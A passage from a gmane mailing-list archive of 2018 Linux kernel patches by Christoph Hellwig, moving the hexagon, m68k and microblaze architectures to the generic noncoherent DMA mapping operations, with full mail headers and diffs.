@@ -144,76 +90,3 @@ static inline void dma_sync(void *addr, size_t size,
 		BUG();
 	}
 }
-
-/**
- * hexagon_map_page() - maps an address for device DMA
- * @dev:	pointer to DMA device
- * @page:	pointer to page struct of DMA memory
- * @offset:	offset within page
- * @size:	size of memory to map
- * @dir:	transfer direction
- * @attrs:	pointer to DMA attrs (not used)
- *
- * Called to map a memory address to a DMA address prior
- * to accesses to/from device.
- *
- * We don't particularly have many hoops to jump through
- * so far.  Straight translation between phys and virtual.
- *
- * DMA is not cache coherent so sync is necessary; this
- * seems to be a convenient place to do it.
- *
- */
-static dma_addr_t hexagon_map_page(struct device *dev, struct page *page,
-				   unsigned long offset, size_t size,
-				   enum dma_data_direction dir,
-				   unsigned long attrs)
-{
-	dma_addr_t bus = page_to_phys(page) + offset;
-	WARN_ON(size == 0);
-
-	if (!check_addr("map_single", dev, bus, size))
-		return HEXAGON_MAPPING_ERROR;
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		dma_sync(dma_addr_to_virt(bus), size, dir);
-
-	return bus;
-}
-
-static void hexagon_sync_single_for_cpu(struct device *dev,
-					dma_addr_t dma_handle, size_t size,
-					enum dma_data_direction dir)
-{
-	dma_sync(dma_addr_to_virt(dma_handle), size, dir);
-}
-
-static void hexagon_sync_single_for_device(struct device *dev,
-					dma_addr_t dma_handle, size_t size,
-					enum dma_data_direction dir)
-{
-	dma_sync(dma_addr_to_virt(dma_handle), size, dir);
-}
-
-static int hexagon_mapping_error(struct device *dev, dma_addr_t dma_addr)
-{
-	return dma_addr == HEXAGON_MAPPING_ERROR;
-}
-
-const struct dma_map_ops hexagon_dma_ops = {
-	.alloc		= hexagon_dma_alloc_coherent,
-	.free		= hexagon_free_coherent,
-	.map_sg		= hexagon_map_sg,
-	.map_page	= hexagon_map_page,
-	.sync_single_for_cpu = hexagon_sync_single_for_cpu,
-	.sync_single_for_device = hexagon_sync_single_for_device,
-	.mapping_error	= hexagon_mapping_error,
-};
-
-void __init hexagon_dma_init(void)
-{
-	if (dma_ops)
-		return;
-
-	dma_ops = &hexagon_dma_ops;
-}
-- 
2.17.0


From - Thu Nov 08 21:41:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 07/20] m68k: use generic dma_noncoherent_ops
Date: Fri, 11 May 2018 09:59:32 +0200
Lines: 181
Approved: news@gmane.org
Message-ID: <20180511075945.16548-8-hch@lst.de>
References: <20180511075945.16548-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526025554 1118 195.159.176.226 (11 May 2018 07:59:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 May 2018 07:59:14 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 11 09:59:09 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fH2xI-00009y-Ez
	for glki-iommu@m.gmane.org; Fri, 11 May 2018 09:59:08 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 48B27CC0;
	Fri, 11 May 2018 08:01:19 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id D2EF0C7C
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:01:18 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 48B1F6A4
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:01:18 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=kyE6Aw4cnPgHCFpsr9oNYySxeLLSSUyXyyh2DPozdAg=;
	b=NYWOvmJQFty4R6JFniLpp8+lV
	KKtecLEP+tri0KAc9zRxaC+O13AIlb9dhSMNVsM2oarCeSWbf/Wi6Cl4DWrlDzgf4HuIRdCS5svK7
	GstMJ9CyOg6OtNQTqCkDJZ72NlTa9UAMi9OMNmj0OBGm+2cvErc5qnhgamfh36ojOGiOU/syZ7Jqh
	a4IUGF728i69oIq9q4uVXGjVkTSW5CBihbV428IJJ9nj+JfTR7pcz4vfSi29f4p5YsfReuIrJG6Rf
	mokHyX+JsFehZFtuI78ct1o3g8jSm3xU4qw7NcU9CTwPfqWg6ifO8W11znd/BIg1fJ0lJqk9A8Fwj
	JAhfywXrw==;
Original-Received: from 213-225-15-246.nat.highway.a1.net ([213.225.15.246]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fH2ys-0007yy-1D; Fri, 11 May 2018 08:00:53 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180511075945.16548-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24174 gmane.linux.kernel.cross-arch:44018 gmane.linux.ports.parisc:28601 gmane.linux.ports.sh.devel:57007 gmane.linux.ports.hexagon:1704 gmane.linux.kernel:2764208 gmane.linux.ports.alpha:5029 gmane.linux.ports.sparc:27856 gmane.linux.kernel.arc:3870 gmane.linux.ports.arm.kernel:649157
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24174>

Switch to the generic noncoherent direct mapping implementation.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/m68k/Kconfig                   |  2 +
 arch/m68k/include/asm/Kbuild        |  1 +
 arch/m68k/include/asm/dma-mapping.h | 12 -----
 arch/m68k/kernel/dma.c              | 68 ++++-------------------------
 4 files changed, 11 insertions(+), 72 deletions(-)
 delete mode 100644 arch/m68k/include/asm/dma-mapping.h

diff --git a/arch/m68k/Kconfig b/arch/m68k/Kconfig
index 785612b576f7..3f61327da2d5 100644
--- a/arch/m68k/Kconfig
+++ b/arch/m68k/Kconfig
@@ -2,6 +2,7 @@
 config M68K
 	bool
 	default y
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE if HAS_DMA
 	select ARCH_MIGHT_HAVE_PC_PARPORT if ISA
 	select ARCH_NO_COHERENT_DMA_MMAP if !MMU
 	select HAVE_IDE
@@ -24,6 +25,7 @@ config M68K
 	select MODULES_USE_ELF_RELA
 	select OLD_SIGSUSPEND3
 	select OLD_SIGACTION
+	select DMA_NONCOHERENT_OPS if HAS_DMA
 
 config CPU_BIG_ENDIAN
 	def_bool y
diff --git a/arch/m68k/include/asm/Kbuild b/arch/m68k/include/asm/Kbuild
index 88a9d27df1ac..a853c00f1374 100644
--- a/arch/m68k/include/asm/Kbuild
+++ b/arch/m68k/include/asm/Kbuild
@@ -1,5 +1,6 @@
 generic-y += barrier.h
 generic-y += device.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += extable.h
diff --git a/arch/m68k/include/asm/dma-mapping.h b/arch/m68k/include/asm/dma-mapping.h
deleted file mode 100644
index e3722ed04fbb..000000000000
--- a/arch/m68k/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,12 +0,0 @@
-/* SPDX-License-Identifier: GPL-2.0 */
-#ifndef _M68K_DMA_MAPPING_H
-#define _M68K_DMA_MAPPING_H
-
-extern const struct dma_map_ops m68k_dma_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-        return &m68k_dma_ops;
-}
-
-#endif  /* _M68K_DMA_MAPPING_H */
diff --git a/arch/m68k/kernel/dma.c b/arch/m68k/kernel/dma.c
index c01b9b8f97bf..3d561c577d35 100644
--- a/arch/m68k/kernel/dma.c
+++ b/arch/m68k/kernel/dma.c
@@ -6,7 +6,7 @@
 
 #undef DEBUG
 
-#include <linux/dma-mapping.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/device.h>
 #include <linux/kernel.h>
 #include <linux/scatterlist.h>
@@ -18,7 +18,7 @@
 
 #if defined(CONFIG_MMU) && !defined(CONFIG_COLDFIRE)
 
-static void *m68k_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
 		gfp_t flag, unsigned long attrs)
 {
 	struct page *page, **map;
@@ -61,7 +61,7 @@ static void *m68k_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
 	return addr;
 }
 
-static void m68k_dma_free(struct device *dev, size_t size, void *addr,
+void arch_dma_free(struct device *dev, size_t size, void *addr,
 		dma_addr_t handle, unsigned long attrs)
 {
 	pr_debug("dma_free_coherent: %p, %x\n", addr, handle);
@@ -72,8 +72,8 @@ static void m68k_dma_free(struct device *dev, size_t size, void *addr,
 
 #include <asm/cacheflush.h>
 
-static void *m68k_dma_alloc(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	void *ret;
 
@@ -88,7 +88,7 @@ static void *m68k_dma_alloc(struct device *dev, size_t size,
 	return ret;
 }
 
-static void m68k_dma_free(struct device *dev, size_t size, void *vaddr,
+void arch_dma_free(struct device *dev, size_t size, void *vaddr,
 		dma_addr_t dma_handle, unsigned long attrs)
 {
 	free_pages((unsigned long)vaddr, get_order(size));
@@ -96,8 +96,8 @@ static void m68k_dma_free(struct device *dev, size_t size, void *vaddr,
 
 #endif /* CONFIG_MMU && !CONFIG_COLDFIRE */
 
-static void m68k_dma_sync_single_for_device(struct device *dev,
-		dma_addr_t handle, size_t size, enum dma_data_direction dir)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t handle,
+		size_t size, enum dma_data_direction dir)
 {
 	switch (dir) {
 	case DMA_BIDIRECTIONAL:
@@ -113,55 +113,3 @@ static void m68k_dma_sync_single_for_device(struct device *dev,
 		break;
 	}
 }
-
-static void m68k_dma_sync_sg_for_device(struct device *dev,
-		struct scatterlist *sglist, int nents, enum dma_data_direction dir)
-{
-	int i;
-	struct scatterlist *sg;
-
-	for_each_sg(sglist, sg, nents, i) {
-		dma_sync_single_for_device(dev, sg->dma_address, sg->length,
-					   dir);
-	}
-}
-
-static dma_addr_t m68k_dma_map_page(struct device *dev, struct page *page,
-		unsigned long offset, size_t size, enum dma_data_direction dir,
-		unsigned long attrs)
-{
-	dma_addr_t handle = page_to_phys(page) + offset;
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		dma_sync_single_for_device(dev, handle, size, dir);
-
-	return handle;
-}
-
-static int m68k_dma_map_sg(struct device *dev, struct scatterlist *sglist,
-		int nents, enum dma_data_direction dir, unsigned long attrs)
-{
-	int i;
-	struct scatterlist *sg;
-
-	for_each_sg(sglist, sg, nents, i) {
-		sg->dma_address = sg_phys(sg);
-
-		if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-			continue;
-
-		dma_sync_single_for_device(dev, sg->dma_address, sg->length,
-					   dir);
-	}
-	return nents;
-}
-
-const struct dma_map_ops m68k_dma_ops = {
-	.alloc			= m68k_dma_alloc,
-	.free			= m68k_dma_free,
-	.map_page		= m68k_dma_map_page,
-	.map_sg			= m68k_dma_map_sg,
-	.sync_single_for_device	= m68k_dma_sync_single_for_device,
-	.sync_sg_for_device	= m68k_dma_sync_sg_for_device,
-};
-EXPORT_SYMBOL(m68k_dma_ops);
-- 
2.17.0


From - Thu Nov 08 21:41:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 08/20] microblaze: use generic dma_noncoherent_ops
Date: Fri, 11 May 2018 09:59:33 +0200
Lines: 328
Approved: news@gmane.org
Message-ID: <20180511075945.16548-9-hch@lst.de>
References: <20180511075945.16548-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526025560 1578 195.159.176.226 (11 May 2018 07:59:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 May 2018 07:59:20 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 11 09:59:15 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fH2xO-0000Ho-In
	for glki-iommu@m.gmane.org; Fri, 11 May 2018 09:59:15 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 9E7DDCB0;
	Fri, 11 May 2018 08:01:25 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 24399C7D
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:01:24 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 3249B6A0
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:01:23 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=iBMZUynGKMTi6j/Pib9ftuwlsIaNbRBWZnZAalnU4a8=;
	b=ByRfRBLiUagWB9aHActeHUi1V
	3iFzKOVwG4L6dJblTJdUz35g59jFvZCuSFrYfGe2d7Ghs4WskZqBJRw9pfobmfm1B+5EOI8jGp/7N
	GHRAsiYqDKioyUH/pB0ocZa/xnxIonkLLd6i8Dh8A2hQhBayV2WnWOK0jI609lIdSYS6Il6Ep5vB9
	6FxXhG2IbqDfznNxjgCUb8/ivu1rRzT7bwH39eR1NbXb510h915jNcvpN5PdfVSTKdXGOWfcCb8Wa
	lO0OybcIRTts3MgzQEiVhcEZ6xKBMPdXBfKH4dswyoiGHLP+EsjmFe1gjnPk7ZYsAhLfJH3b+8Nix
	BLnRka+rA==;
Original-Received: from 213-225-15-246.nat.highway.a1.net ([213.225.15.246]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fH2z3-00084G-8J; Fri, 11 May 2018 08:00:58 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180511075945.16548-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24175 gmane.linux.kernel.cross-arch:44019 gmane.linux.ports.parisc:28602 gmane.linux.ports.sh.devel:57008 gmane.linux.ports.hexagon:1705 gmane.linux.kernel:2764209 gmane.linux.ports.alpha:5030 gmane.linux.ports.sparc:27857 gmane.linux.kernel.arc:3871 gmane.linux.ports.arm.kernel:649158
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24175>

Switch to the generic noncoherent direct mapping implementation.

This removes the direction-based optimizations in
sync_{single,sg}_for_{cpu,device} which were marked untestested and
do not match the usually very well tested {un,}map_{single,sg}
implementations.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/microblaze/Kconfig                   |   4 +
 arch/microblaze/include/asm/Kbuild        |   1 +
 arch/microblaze/include/asm/dma-mapping.h |  28 -----
 arch/microblaze/include/asm/pgtable.h     |   2 -
 arch/microblaze/kernel/dma.c              | 144 ++--------------------
 arch/microblaze/mm/consistent.c           |   9 +-
 6 files changed, 22 insertions(+), 166 deletions(-)
 delete mode 100644 arch/microblaze/include/asm/dma-mapping.h

diff --git a/arch/microblaze/Kconfig b/arch/microblaze/Kconfig
index d14782100088..848e31a86ba5 100644
--- a/arch/microblaze/Kconfig
+++ b/arch/microblaze/Kconfig
@@ -1,6 +1,8 @@
 config MICROBLAZE
 	def_bool y
 	select ARCH_HAS_GCOV_PROFILE_ALL
+	select ARCH_HAS_SYNC_DMA_FOR_CPU
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
 	select ARCH_MIGHT_HAVE_PC_PARPORT
 	select ARCH_NO_COHERENT_DMA_MMAP if !MMU
 	select ARCH_WANT_IPC_PARSE_VERSION
@@ -8,6 +10,8 @@ config MICROBLAZE
 	select TIMER_OF
 	select CLONE_BACKWARDS3
 	select COMMON_CLK
+	select DMA_NONCOHERENT_OPS
+	select DMA_NONCOHERENT_MMAP
 	select GENERIC_ATOMIC64
 	select GENERIC_CLOCKEVENTS
 	select GENERIC_CPU_DEVICES
diff --git a/arch/microblaze/include/asm/Kbuild b/arch/microblaze/include/asm/Kbuild
index 3c80a5a308ed..8d3e71f43a3e 100644
--- a/arch/microblaze/include/asm/Kbuild
+++ b/arch/microblaze/include/asm/Kbuild
@@ -4,6 +4,7 @@ generic-y += bug.h
 generic-y += bugs.h
 generic-y += device.h
 generic-y += div64.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += extable.h
diff --git a/arch/microblaze/include/asm/dma-mapping.h b/arch/microblaze/include/asm/dma-mapping.h
deleted file mode 100644
index add50c1373bf..000000000000
--- a/arch/microblaze/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Implements the generic device dma API for microblaze and the pci
- *
- * Copyright (C) 2009-2010 Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>
- * Copyright (C) 2009-2010 PetaLogix
- *
- * This file is subject to the terms and conditions of the GNU General
- * Public License. See the file COPYING in the main directory of this
- * archive for more details.
- *
- * This file is base on powerpc and x86 dma-mapping.h versions
- * Copyright (C) 2004 IBM
- */
-
-#ifndef _ASM_MICROBLAZE_DMA_MAPPING_H
-#define _ASM_MICROBLAZE_DMA_MAPPING_H
-
-/*
- * Available generic sets of operations
- */
-extern const struct dma_map_ops dma_nommu_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &dma_nommu_ops;
-}
-
-#endif	/* _ASM_MICROBLAZE_DMA_MAPPING_H */
diff --git a/arch/microblaze/include/asm/pgtable.h b/arch/microblaze/include/asm/pgtable.h
index db8b1fa83452..8a2e654b709f 100644
--- a/arch/microblaze/include/asm/pgtable.h
+++ b/arch/microblaze/include/asm/pgtable.h
@@ -553,8 +553,6 @@ void __init *early_get_page(void);
 
 extern unsigned long ioremap_bot, ioremap_base;
 
-void *consistent_alloc(gfp_t gfp, size_t size, dma_addr_t *dma_handle);
-void consistent_free(size_t size, void *vaddr);
 void consistent_sync(void *vaddr, size_t size, int direction);
 void consistent_sync_page(struct page *page, unsigned long offset,
 	size_t size, int direction);
diff --git a/arch/microblaze/kernel/dma.c b/arch/microblaze/kernel/dma.c
index 3145e7dc8ab1..71032cf64669 100644
--- a/arch/microblaze/kernel/dma.c
+++ b/arch/microblaze/kernel/dma.c
@@ -8,29 +8,15 @@
  */
 
 #include <linux/device.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/gfp.h>
 #include <linux/dma-debug.h>
 #include <linux/export.h>
 #include <linux/bug.h>
 #include <asm/cacheflush.h>
 
-static void *dma_nommu_alloc_coherent(struct device *dev, size_t size,
-				       dma_addr_t *dma_handle, gfp_t flag,
-				       unsigned long attrs)
-{
-	return consistent_alloc(flag, size, dma_handle);
-}
-
-static void dma_nommu_free_coherent(struct device *dev, size_t size,
-				     void *vaddr, dma_addr_t dma_handle,
-				     unsigned long attrs)
-{
-	consistent_free(size, vaddr);
-}
-
-static inline void __dma_sync(unsigned long paddr,
-			      size_t size, enum dma_data_direction direction)
+static void __dma_sync(struct device *dev, phys_addr_t paddr, size_t size,
+		enum dma_data_direction direction)
 {
 	switch (direction) {
 	case DMA_TO_DEVICE:
@@ -45,113 +31,21 @@ static inline void __dma_sync(unsigned long paddr,
 	}
 }
 
-static int dma_nommu_map_sg(struct device *dev, struct scatterlist *sgl,
-			     int nents, enum dma_data_direction direction,
-			     unsigned long attrs)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	struct scatterlist *sg;
-	int i;
-
-	/* FIXME this part of code is untested */
